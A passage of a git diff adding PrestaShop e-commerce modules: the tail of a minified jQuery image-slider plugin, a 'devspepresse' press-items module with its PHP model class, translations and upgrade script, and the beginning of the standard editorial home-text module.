+options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
          ').wrap('
          ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
          ').wrap('
          ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
          ').wrap('
          ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
          ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
          ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
          ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/devspepresse/logo.gif b/modules/devspepresse/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspepresse/logo.gif differ diff --git a/modules/devspepresse/logo.png b/modules/devspepresse/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspepresse/logo.png differ diff --git a/modules/devspepresse/presse.php b/modules/devspepresse/presse.php new file mode 100755 index 0000000..0aa3753 --- /dev/null +++ b/modules/devspepresse/presse.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Presse extends ObjectModel +{ + public $title; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + public $id_product; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspepresse_items', + 'primary' => 'id_item', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'size' => 4000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'required' => false, 'size' => 255), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspepresse` (`id_shop`, `id_item`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspepresse` + WHERE `id_item` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_item = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspepresse_items` hss, `'._DB_PREFIX_.'devspepresse` hs + WHERE hss.`id_item` = hs.`id_item` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_item) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_item` as id_item + FROM `'._DB_PREFIX_.'devspepresse_items` hss + LEFT JOIN `'._DB_PREFIX_.'devspepresse` hs ON (hss.`id_item` = hs.`id_item`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_item = new Presse($row['id_item']); + --$current_item->position; + $current_item->update(); + unset($current_item); + } + + return true; + } + +} diff --git a/modules/devspepresse/translations/en.php b/modules/devspepresse/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspepresse/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspepresse/translations/index.php b/modules/devspepresse/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspepresse/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspepresse/upgrade/install-1.2.1.php b/modules/devspepresse/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspepresse/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/editorial/EditorialClass.php b/modules/editorial/EditorialClass.php new file mode 100755 index 0000000..ca0b4db --- /dev/null +++ b/modules/editorial/EditorialClass.php @@ -0,0 +1,94 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class EditorialClass extends ObjectModel +{ + /** @var integer editorial id*/ + public $id; + + /** @var integer editorial id shop*/ + public $id_shop; + + /** @var string body_title*/ + public $body_home_logo_link; + + /** @var string body_title*/ + public $body_title; + + /** @var string body_title*/ + public $body_subheading; + + /** @var string body_title*/ + public $body_paragraph; + + /** @var string body_title*/ + public $body_logo_subheading; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'editorial', + 'primary' => 'id_editorial', + 'multilang' => true, + 'fields' => array( + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'body_home_logo_link' => array('type' => self::TYPE_STRING, 'validate' => 'isUrl'), + // Lang fields + 'body_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName'), + 'body_subheading' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName'), + 'body_paragraph' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'body_logo_subheading' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName'), + ) + ); + + static public function getByIdShop($id_shop) + { + $id = Db::getInstance()->getValue('SELECT `id_editorial` FROM `'._DB_PREFIX_.'editorial` WHERE `id_shop` ='.(int)$id_shop); + if ($id) + return new EditorialClass((int)$id); + else + return false; + } + + public function copyFromPost() + { + /* Classical fields */ + foreach ($_POST AS $key => $value) + if (key_exists($key, $this) AND $key != 'id_'.$this->table) + $this->{$key} = $value; + + /* Multilingual fields */ + if (sizeof($this->fieldsValidateLang)) + { + $languages = Language::getLanguages(false); + foreach ($languages AS $language) + foreach ($this->fieldsValidateLang AS $field => $validation) + if (isset($_POST[$field.'_'.(int)($language['id_lang'])])) + $this->{$field}[(int)($language['id_lang'])] = $_POST[$field.'_'.(int)($language['id_lang'])]; + } + } +} diff --git a/modules/editorial/editorial.css b/modules/editorial/editorial.css new file mode 100755 index 0000000..7f9d624 --- /dev/null +++ b/modules/editorial/editorial.css @@ -0,0 +1,26 @@ +/* Block editorial */ +.editorial_block { margin-bottom: 2em } +.editorial_block .rte { background: transparent none repeat scroll 0 0 } +.editorial_block h1 { + margin:40px 0 10px 0; + padding: 0; + background: none; +} +.editorial_block h2 { + padding:0 0 10px 0; + font-size: 12px; + line-height: 1.2em; + color: #666; + text-transform: none; + background: none; +} +#editorial_block_center p { padding-left: 0 } +#editorial_block_center .rte p {color:#666 } + +#editorial_block_center p#editorial_image_legend { + margin: 0 0 10px; + padding:0; + color: #666; + font-size: 10px; +} + diff --git a/modules/editorial/editorial.php b/modules/editorial/editorial.php new file mode 100755 index 0000000..3df3fa5 --- /dev/null +++ b/modules/editorial/editorial.php @@ -0,0 +1,310 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Editorial extends Module +{ + public function __construct() + { + $this->name = 'editorial'; + $this->tab = 'front_office_features'; + $this->version = '2.0'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Home text editor'); + $this->description = $this->l('A text-edit module for your homepage.'); + $path = dirname(__FILE__); + if (strpos(__FILE__, 'Module.php') !== false) + $path .= '/../modules/'.$this->name; + include_once $path.'/EditorialClass.php'; + } + + public function install() + { + if (!parent::install() || !$this->registerHook('displayHome') || !$this->registerHook('displayHeader')) + return false; + + $res = Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'editorial` ( + `id_editorial` int(10) unsigned NOT NULL auto_increment, + `id_shop` int(10) unsigned NOT NULL , + `body_home_logo_link` varchar(255) NOT NULL, + PRIMARY KEY 